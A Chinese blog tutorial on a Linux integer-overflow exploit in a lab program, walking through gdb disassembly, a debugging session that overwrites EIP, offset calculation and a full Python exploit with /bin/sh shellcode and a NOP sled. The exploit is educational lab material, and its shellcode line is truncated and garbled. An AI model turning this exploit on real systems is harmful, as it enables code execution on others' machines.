zoukankan      html  css  js  c++  java
  • Linux Exploit系列之二 整数溢出

    整数溢出

    虚拟机安装:Ubuntu 12.04(x86)

    什么是整数溢出?

    存储大于最大支持值的值称为整数溢出。整数溢出本身不会导致任意代码执行,但整数溢出可能会导致堆栈溢出或堆溢出,这可能导致任意代码执行。在这篇文章中,我将仅谈论整数溢出导致堆栈溢出,整数溢出导致堆溢出将在后面的单独的帖子中讨论。

    后边的内容复制粘贴好烦,还是说关键点吧!

    原文见:https://bbs.pediy.com/thread-216869.htm

    这个文章解释的比上一个清楚多了,相信能看懂,唯一不懂的,和上一篇估计一样,还是地址计算的问题

    同样是使用gdb 调试:gdb -q vuln

    下边解释下我是如何找地址的(虚拟机环境Ubuntu14.04 32位系统,gcc 4.8.2)

    首先使用disassemble 查看汇编代码,看看程序的汇编代码布局:

     1 (gdb) disassemble validate_passwd
     2 Dump of assembler code for function validate_passwd:
     3    0x08048507 <+0>:    push   %ebp
     4    0x08048508 <+1>:    mov    %esp,%ebp
     5    0x0804850a <+3>:    sub    $0x28,%esp
     6    0x0804850d <+6>:    mov    0x8(%ebp),%eax
     7    0x08048510 <+9>:    mov    %eax,(%esp)
     8    0x08048513 <+12>:    call   0x80483e0 <strlen@plt>
     9    0x08048518 <+17>:    mov    %al,-0x9(%ebp)
    10    0x0804851b <+20>:    cmpb   $0x3,-0x9(%ebp)
    11    0x0804851f <+24>:    jbe    0x8048554 <validate_passwd+77>
    12    0x08048521 <+26>:    cmpb   $0x8,-0x9(%ebp)
    13    0x08048525 <+30>:    ja     0x8048554 <validate_passwd+77>
    14    0x08048527 <+32>:    movl   $0x8048670,(%esp)
    15    0x0804852e <+39>:    call   0x80483b0 <puts@plt>
    16    0x08048533 <+44>:    mov    0x804a040,%eax
    17    0x08048538 <+49>:    mov    %eax,(%esp)
    18    0x0804853b <+52>:    call   0x8048390 <fflush@plt>
    19    0x08048540 <+57>:    mov    0x8(%ebp),%eax
    20    0x08048543 <+60>:    mov    %eax,0x4(%esp)
    21    0x08048547 <+64>:    lea    -0x14(%ebp),%eax
    22    0x0804854a <+67>:    mov    %eax,(%esp)
    23    0x0804854d <+70>:    call   0x80483a0 <strcpy@plt>

    嗯,发现编译器改动不大,就是将strlen函数直接内嵌了,没有使用函数调用(库函数的惯用做法),不多解释

    (gdb) list 看一眼源码,方便下断点

    (gdb) b validate_passwd 下断

    然后开心的按照作者说的运行

    下边是调试步骤

     1 Reading symbols from vuln...done.
     2 (gdb) b validate_passwd
     3 Breakpoint 1 at 0x804850d: file vuln.c, line 14.
     4 (gdb) r sploitfun `python -c 'print "A"*261'`
     5 Starting program: /home/jourluohua/work/test2/vuln sploitfun `python -c 'print "A"*261'`
     6 
     7 Breakpoint 1, validate_passwd (
     8     passwd=0xbffff6b6 'A' <repeats 200 times>...) at vuln.c:14
     9 14     unsigned char passwd_len = strlen(passwd); /* [1] */ 
    10 (gdb) n        //单步调试,想看看执行到了我们认为的关键的代码没有,很明显这儿还不是关键代码
    11 15     if(passwd_len >= 4 && passwd_len <= 8) { /* [2] */
    12 (gdb) n
    13 16      printf("Valid Password
    "); /* [3] */ 
    14 (gdb) p passwd_len  //这儿是关键处了,但是如果是正确的话,passwd_len 应该是'A',很可能是程序还没真正执行到
    15 $1 = 5 '05'
    16 (gdb) n
    17 Valid Password
    18 17      fflush(stdout);
    19 (gdb) n
    20 18      strcpy(passwd_buf,passwd); /* [4] */
    21 (gdb) n
    22 23     store_passwd_indb(passwd_buf); /* [6] */
    23 (gdb) p passwd_len    //好终于到了我们想要的地方了
    24 $2 = 65 'A'
    25 (gdb) p &passwd_len   //passwd_len的地址,既然利用的是栈,我们在乎的是内存布局
    26 $3 = (unsigned char *) 0xbffff46f 'A' <repeats 200 times>...
    27 (gdb) p buf        //手误,没有任何原因
    28 $4 = 0x0
    29 (gdb) n
    30 24    }
    31 (gdb) p passwd_buf    //passwd_buf的值也对了
    32 $5 = 'A' <repeats 11 times>
    33 (gdb) p &passwd_buf[0]  //passwd_buf的地址也和我们想象的一样
    34 $6 = 0xbffff464 'A' <repeats 200 times>...
    35 (gdb) p/x $eip      //很明显还没有被覆盖
    36 $7 = 0x8048578
    37 (gdb) p/x $ebp      //这个真的不是在凑字数,ebp的地址很重要
    38 $8 = 0xbffff478
    39 (gdb) n
    40 0x41414141 in ?? ()
    41 (gdb) p/x $eip      //好,已经覆盖了
    42 $9 = 0x41414141
    43 (gdb) p/x $ebp
    44 $10 = 0x41414141
    45 (gdb) 

    按照我上边的注释,相信大家对调试过程已经有了一定了解,现在说下地址的计算

    $ebp - &passwd_buf[0] +4   = 0x18 = $eip - &passwd_buf[0]

    这就是所谓的内存偏移,有了这个,我们的ret_addr就可以算出来了

    ret_addr= 0xbffff464 +0x18 + 100

    还是老规矩,附上我的exp.python 代码

     1 #exp.py 
     2 #!/usr/bin/env python
     3 import struct
     4 from subprocess import call
     5 
     6 arg1 = "sploitfun"
     7 
     8 #Stack address where shellcode is copied.
     9 ret_addr = 0xbffff4e0
    10 
    11 #Spawn a shell
    12 #execve(/bin/sh)
    13 scode = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3$
    14 
    15 #endianess convertion
    16 def conv(num):
    17  return struct.pack("<I",num)#unk + RA + NOP's + Shellcode
    18 arg2 = "A" * 24
    19 arg2 += conv(ret_addr);
    20 arg2 += "x90" * 100
    21 arg2 += scode
    22 arg2 += "C" * 108
    23 
    24 print "Calling vulnerable program"
    25 call(["./vuln", arg1, arg2])
  • 相关阅读:
    hrbust 1788
    poj2299 ( bit )
    LA3027(并查集)
    hdu1166 (bit)
    hdu1598(并查集)
    cdoj1215 (并查集)
    hdu2643 ( 第二类斯特灵数 )
    hdu3625 ( 第一类斯特灵数 )
    Uva10066
    怎么处理sqlserver2017部署在winowsDocker上时区无法修改成功的方式,并且可以多创建新的容器调用简单的方式直接使用!
  • 原文地址:https://www.cnblogs.com/jourluohua/p/8993156.html
Copyright © 2011-2022 走看看